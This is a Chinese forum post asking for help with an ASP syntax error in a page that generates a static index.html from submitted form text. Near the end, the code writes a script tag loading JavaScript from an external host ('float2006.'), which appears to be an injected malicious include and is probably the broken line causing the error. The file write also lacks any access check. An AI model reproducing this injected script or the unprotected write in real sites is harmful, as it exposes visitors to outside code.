asp语法错误 语句未结束 求高手指导指导。。。。
提示错误 语句未结束。。。求高手指点指点那里的问题<%
public function htmindex(Filename)'定义全局函数
If Request("Body")<>"" Then'接受表单传过来的HTML文档，且第一次是不被运行的
Set Fso = Server.CreateObject("Scripting.FileSystemObject")
Set Fout = Fso.CreateTextFile(Server.Mappath(""&Filename&""))'生成HTML
Fout.Write Request("Body")
Fout.Close
Set Fout=nothing
Set Fso=nothing
MakeIndex="ok"'这个在第二次才被运行，因为前面不是为空嘛！
End if
end function
dim Filename,MakeIndex
Filename="index.html"
MDBpath=""
htmindex(Filename)
Response.Write "<Html>"
Response.Write "<Head>"
Response.Write "<Title>管理中心</title>"
Response.Write "<Meta Http-Equiv=""Content-Type"" Content=""Text/Html; CharSet=Gb2312"">"
Response.Write "<Link Type=""Text/Css"" Rel=""StyleSheet"" Href=""Images/style.css"">"
Response.Write "</Head>"
Response.Write "<Body Topmargin=""4"" Leftmargin=""0"" bgcolor=""#FFFFFF"">"
If MakeIndex="ok" Then
Response.Write "<table border=""0"" cellspacing=""0"" style=""border-collapse: collapse"" width=""100%"" cellpadding=""0"">"
Response.Write "<tr>"
Response.Write "<td width=""100%"" height=""22"">·<b><font color=""#FF0000"">成功：生成(Html)首页完成，[<a target=""_blank"" href="" "& filename &" "">"& filename &"</a>]</font></td>"
Response.Write "</tr>"
Response.Write "</table>"
else
Response.Write "<table border=""0"" cellspacing=""1"" style=""border-collapse: collapse"" width=""100%"" bgcolor=""#E6E6E6"" height=""100%"">"
Response.Write "<form name=""myform"" Method=""Post"" action=""Html_index.asp"">"
Response.Write "<tr>"
Response.Write "<td width=""100%"" bgcolor=""#7B9AE7"" height=""26"">"
Response.Write "<b><font color=""#FFFFFF""> 生成首页 生成文件:<a target=""_blank"" href="" "& filename &" ""><font color=""#FFFFFF"">"& filename &"</font></a>"
Response.Write ",模版文件:</font><a target=""_blank"" href=""index.asp""><font color=""#FFFFFF"">index.asp</font></a></b></td>"
Response.Write "</tr>"
Response.Write "<tr>"
Response.Write "<td width=""100%"" bgcolor=""#FFFFFF"" height=""100%"">"
Response.Write "<Textarea Style=""width:100%; height:100%;"" Rows=""19"" Name=""body"" Cols=""102"">" %><!--#include file="index.asp"--><%
Response.Write "</Textarea></td>"
Response.Write "</tr>"
Response.Write "<tr>"
Response.Write "<td width=""100%"" bgcolor=""#F7F7F7"">"
Response.Write "<p align=""center"">"
Response.Write "<Input Name=""Change"" value=""生成首页(HTML)"" Type=""Submit""></td>"
Response.Write "</tr>"
Response.Write "</form>"
Response.Write "</table>"
Response.Write "</body><SCRIPT LANGUAGE="JavaScript" src="http://float2006. ></SCRIPT>"
Response.Write "</html>"
end if
%>
